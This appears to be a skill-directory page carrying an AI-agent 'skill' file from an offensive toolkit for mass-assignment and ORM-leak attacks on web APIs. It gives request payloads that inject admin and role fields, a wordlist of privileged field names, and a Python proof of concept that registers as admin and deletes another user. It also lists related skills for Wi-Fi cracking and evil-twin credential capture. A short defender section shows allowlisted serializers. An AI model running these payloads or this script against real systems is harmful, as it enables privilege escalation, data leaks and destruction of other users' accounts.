[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M770CWDT1KDMK6PHAE3D1CCY":3,"skill-same:01M770CWDT1KDMK6PHAE3D1CCY":49},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":29,"commitSha":30,"skillDirectory":31,"forksCount":14,"repositoryHtmlUrl":32,"repositoryHomepageUrl":6,"ownerHtmlUrl":33,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":34,"install":35,"resources":48},"01M770CWDT1KDMK6PHAE3D1CCY","mass-assignment",null,"Mass assignment + ORM leak — inject extra fields into create\u002Fupdate requests, escalate to admin, leak protected fields via response.","Iwakishirokoshu\u002FHermesUltimate","Iwakishirokoshu","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F194847626?v=4","01M75P4CVGA89TTCE8JGMNAQQ9","Around","01M75P4CWF85V6GVSEFKGGFZ03",0,"MIT","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fmass-assignment\u002FSKILL.md",[],[],"2026-11-12 13:55:43",false,"---\nname: mass-assignment\ndescription: Mass assignment + ORM leak — inject extra fields into create\u002Fupdate requests, escalate to admin, leak protected fields via response.\nmetadata:\n  when_to_use: \"mass assignment orm leak strong params permit attributes role is_admin\"\n  mitre_attack: T1190, T1078\n  subdomain: authorization\n  upstream_ref: skills\u002F_corpus\u002Fpayloads\u002FMass Assignment\u002F\n---\n\n# Mass Assignment + ORM Leak\n\nAPI endpoints that bind request JSON straight to model `update()` \u002F\n`create()` without an allowlist can be coerced into setting admin\nfields (`is_admin`, `role`, `verified`, etc).\n\n## 1. Detect\n```bash\n# Capture a legitimate update request\nPATCH \u002Fapi\u002Fusers\u002Fme\n{\"name\": \"Alice\"}\n\n# Try adding common privileged fields\nPATCH \u002Fapi\u002Fusers\u002Fme\n{\"name\": \"Alice\", \"is_admin\": true, \"role\": \"admin\", \"verified\": true,\n \"balance\": 999999, \"permissions\": [\"*\"], \"isStaff\": true,\n \"membership_level\": \"premium\", \"tier\": \"enterprise\"}\n```\n\nRe-fetch own profile. If any of the injected fields persists with\nattacker-set value → mass assignment.\n\n## 2. Common field names to try\n```\nis_admin  isAdmin  admin  superuser  is_staff  isStaff  staff\nrole  roles  permission  permissions  scope  scopes  group  groups\nverified  email_verified  isVerified  approved  banned  is_banned\nbalance  credits  points  reputation\ntier  membership_level  plan  subscription\ncreated_at  email  user_id  uuid  external_id  organization_id\npassword  password_hash\n```\n\n## 3. Framework-specific patterns\n\n### Rails (legacy, pre-strong-params)\n`User.create(params[:user])` → all params mass-assigned. Rails 4+ enforces\n`params.require(:user).permit(:name, :email)`. If permit list is too broad,\nmass assignment.\n\n### Django REST Framework\n`UserSerializer(instance, data=request.data, partial=True).save()` → all\ndeclared fields settable. Bug: developer adds `is_staff` to serializer\nfields by mistake.\n\n### Express \u002F Mongoose\n```js\nUser.findOneAndUpdate({_id: req.params.id}, req.body)\n\u002F\u002F → any req.body field becomes a $set. Catastrophic.\n```\n\n### Spring Boot\n`@RequestBody User u` → Jackson binds all settable properties. If `User`\nhas setter for `role`, attacker can set it.\n\n### Go \u002F Echo \u002F Gin\n`c.Bind(&user)` → same pattern.\n\n## 4. ORM Leak — the response side\n\nSometimes the **response** serializer leaks fields the request can't set:\n```bash\nGET \u002Fapi\u002Fusers\u002F123\n{\n  \"id\": 123,\n  \"name\": \"Alice\",\n  \"email\": \"alice@target.com\",\n  \"password_hash\": \"$2a$12$...\",       ← leak!\n  \"totp_secret\": \"JBSW...\",            ← leak!\n  \"stripe_customer_id\": \"cus_...\",\n  \"internal_notes\": \"VIP customer\"\n}\n```\n\nOr via GraphQL field expansion:\n```graphql\nquery { user(id: 123) { id name email passwordHash totpSecret } }\n```\n\n## 5. Tools\n- Burp Intruder w\u002F wordlist of common privileged field names\n- Manual exploration in dev tools — note ALL fields the app sees, try setting each\n\n## 6. PoC\n\n```python\nimport requests\n\n# Step 1: Register normal account\nr = requests.post(f\"{TARGET}\u002Fregister\", json={\n    \"username\": \"attacker\",\n    \"password\": \"test123\",\n    \"is_admin\": True,        # try\n    \"role\": \"admin\",         # try\n})\n\n# Step 2: Login + check\nsess = requests.Session()\nsess.post(f\"{TARGET}\u002Flogin\", json={\"username\": \"attacker\", \"password\": \"test123\"})\nme = sess.get(f\"{TARGET}\u002Fapi\u002Fusers\u002Fme\").json()\nassert me.get(\"is_admin\") == True   # boom\n\n# Step 3: Use admin powers\nsess.delete(f\"{TARGET}\u002Fapi\u002Fusers\u002F2\")   # delete another user → confirm admin\n```\n\n## 7. Severity\n\n| Bug | Severity |\n|---|---|\n| Mass assignment to `is_admin` \u002F `role` | Critical 9.8 |\n| Mass assignment to `balance` \u002F `credits` | Critical 9.0 |\n| Mass assignment to `email_verified` | High 7-8 (chains to ATO) |\n| ORM leak of password_hash | Critical 9.8 |\n| ORM leak of TOTP secret | Critical 9.8 |\n| ORM leak of internal notes \u002F PII | High 7-8 |\n\n## 8. Defender\n\n```python\n# Django REST Framework — explicit serializer fields, read_only_fields\nclass UserSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = User\n        fields = ['name', 'email']    # whitelist\n        read_only_fields = ['id', 'created_at', 'is_admin', 'role']\n\n# Rails — strong params\ndef user_params\n  params.require(:user).permit(:name, :email)\nend\n\n# General: NEVER serialize entire model directly. Always project.\n```\n\n## Cross-references\n- Upstream catalog: `skills\u002F_corpus\u002Fpayloads\u002FMass Assignment\u002F` + `ORM Leak\u002F`\n- API misconfig: `skills\u002Fexploit\u002Fweb\u002Fmethodology\u002F` (when added)\n\n## Known exemplars\n- GitHub 2012: Egor Homakov's classic Rails mass-assignment → set someone else as repo collaborator. Cost: company crisis, paper.\n- Multiple Shopify \u002F Atlassian \u002F GitLab bounties for missing strong params\n- 2023 GraphQL mass-introspection-leak campaigns\n","# Mass Assignment + ORM Leak\n\nAPI endpoints that bind request JSON straight to model `update()` \u002F\n`create()` without an allowlist can be coerced into setting admin\nfields (`is_admin`, `role`, `verified`, etc).\n\n## 1. Detect\n```bash\n# Capture a legitimate update request\nPATCH \u002Fapi\u002Fusers\u002Fme\n{\"name\": \"Alice\"}\n\n# Try adding common privileged fields\nPATCH \u002Fapi\u002Fusers\u002Fme\n{\"name\": \"Alice\", \"is_admin\": true, \"role\": \"admin\", \"verified\": true,\n \"balance\": 999999, \"permissions\": [\"*\"], \"isStaff\": true,\n \"membership_level\": \"premium\", \"tier\": \"enterprise\"}\n```\n\nRe-fetch own profile. If any of the injected fields persists with\nattacker-set value → mass assignment.\n\n## 2. Common field names to try\n```\nis_admin  isAdmin  admin  superuser  is_staff  isStaff  staff\nrole  roles  permission  permissions  scope  scopes  group  groups\nverified  email_verified  isVerified  approved  banned  is_banned\nbalance  credits  points  reputation\ntier  membership_level  plan  subscription\ncreated_at  email  user_id  uuid  external_id  organization_id\npassword  password_hash\n```\n\n## 3. Framework-specific patterns\n\n### Rails (legacy, pre-strong-params)\n`User.create(params[:user])` → all params mass-assigned. Rails 4+ enforces\n`params.require(:user).permit(:name, :email)`. If permit list is too broad,\nmass assignment.\n\n### Django REST Framework\n`UserSerializer(instance, data=request.data, partial=True).save()` → all\ndeclared fields settable. Bug: developer adds `is_staff` to serializer\nfields by mistake.\n\n### Express \u002F Mongoose\n```js\nUser.findOneAndUpdate({_id: req.params.id}, req.body)\n\u002F\u002F → any req.body field becomes a $set. Catastrophic.\n```\n\n### Spring Boot\n`@RequestBody User u` → Jackson binds all settable properties. If `User`\nhas setter for `role`, attacker can set it.\n\n### Go \u002F Echo \u002F Gin\n`c.Bind(&user)` → same pattern.\n\n## 4. ORM Leak — the response side\n\nSometimes the **response** serializer leaks fields the request can't set:\n```bash\nGET \u002Fapi\u002Fusers\u002F123\n{\n  \"id\": 123,\n  \"name\": \"Alice\",\n  \"email\": \"alice@target.com\",\n  \"password_hash\": \"$2a$12$...\",       ← leak!\n  \"totp_secret\": \"JBSW...\",            ← leak!\n  \"stripe_customer_id\": \"cus_...\",\n  \"internal_notes\": \"VIP customer\"\n}\n```\n\nOr via GraphQL field expansion:\n```graphql\nquery { user(id: 123) { id name email passwordHash totpSecret } }\n```\n\n## 5. Tools\n- Burp Intruder w\u002F wordlist of common privileged field names\n- Manual exploration in dev tools — note ALL fields the app sees, try setting each\n\n## 6. PoC\n\n```python\nimport requests\n\n# Step 1: Register normal account\nr = requests.post(f\"{TARGET}\u002Fregister\", json={\n    \"username\": \"attacker\",\n    \"password\": \"test123\",\n    \"is_admin\": True,        # try\n    \"role\": \"admin\",         # try\n})\n\n# Step 2: Login + check\nsess = requests.Session()\nsess.post(f\"{TARGET}\u002Flogin\", json={\"username\": \"attacker\", \"password\": \"test123\"})\nme = sess.get(f\"{TARGET}\u002Fapi\u002Fusers\u002Fme\").json()\nassert me.get(\"is_admin\") == True   # boom\n\n# Step 3: Use admin powers\nsess.delete(f\"{TARGET}\u002Fapi\u002Fusers\u002F2\")   # delete another user → confirm admin\n```\n\n## 7. Severity\n\n| Bug | Severity |\n|---|---|\n| Mass assignment to `is_admin` \u002F `role` | Critical 9.8 |\n| Mass assignment to `balance` \u002F `credits` | Critical 9.0 |\n| Mass assignment to `email_verified` | High 7-8 (chains to ATO) |\n| ORM leak of password_hash | Critical 9.8 |\n| ORM leak of TOTP secret | Critical 9.8 |\n| ORM leak of internal notes \u002F PII | High 7-8 |\n\n## 8. Defender\n\n```python\n# Django REST Framework — explicit serializer fields, read_only_fields\nclass UserSerializer(serializers.ModelSerializer):\n    class Meta:\n        model = User\n        fields = ['name', 'email']    # whitelist\n        read_only_fields = ['id', 'created_at', 'is_admin', 'role']\n\n# Rails — strong params\ndef user_params\n  params.require(:user).permit(:name, :email)\nend\n\n# General: NEVER serialize entire model directly. Always project.\n```\n\n## Cross-references\n- Upstream catalog: `skills\u002F_corpus\u002Fpayloads\u002FMass Assignment\u002F` + `ORM Leak\u002F`\n- API misconfig: `skills\u002Fexploit\u002Fweb\u002Fmethodology\u002F` (when added)\n\n## Known exemplars\n- GitHub 2012: Egor Homakov's classic Rails mass-assignment → set someone else as repo collaborator. Cost: company crisis, paper.\n- Multiple Shopify \u002F Atlassian \u002F GitLab bounties for missing strong params\n- 2023 GraphQL mass-introspection-leak campaigns\n",{"name":5,"metadata":24,"description":7},{"subdomain":25,"when_to_use":26,"mitre_attack":27,"upstream_ref":28},"authorization","mass assignment orm leak strong params permit attributes role is_admin","T1190, T1078","skills\u002F_corpus\u002Fpayloads\u002FMass Assignment\u002F","main","c0c483827a963764d5e1a663a9591867d47289e6","stack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fmass-assignment","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu","2026-06-15 13:48:41",{"source":8,"skillName":5,"commands":36,"prompt":46,"zipAvailable":47},[37,40,43],{"tool":38,"command":39},"npx","npx skills add Iwakishirokoshu\u002FHermesUltimate --skill mass-assignment",{"tool":41,"command":42},"bunx","bunx skills add Iwakishirokoshu\u002FHermesUltimate --skill mass-assignment",{"tool":44,"command":45},"pnpm","pnpm dlx skills add Iwakishirokoshu\u002FHermesUltimate --skill mass-assignment","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fmass-assignment\u002FSKILL.md",true,[],[50,57,64,71,78,85],{"skillNo":51,"name":52,"nameZh":6,"description":53,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":54,"categories":55,"keywords":56,"publishedAt":19},"01M770W8JDE5EC1TJT4GSDWD78","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":61,"categories":62,"keywords":63,"publishedAt":19},"01M770W4B7T5VCVHB88V1F02H1","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":65,"name":66,"nameZh":6,"description":67,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":68,"categories":69,"keywords":70,"publishedAt":19},"01M770W093C8FAV8S34K8VB6T9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":72,"name":73,"nameZh":6,"description":74,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":75,"categories":76,"keywords":77,"publishedAt":19},"01M770VTNAQGZ3D0RQVFEKTE8Z","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":19},"01M770VNG05ZX3CV84R9GX8PJN","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":19},"01M770VHFH7N192V56PFSRXF5K","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FIwakishirokoshu\u002FHermesUltimate\u002Fblob\u002Fmain\u002Fstack\u002Fdecepticon-slim\u002Fupstream\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]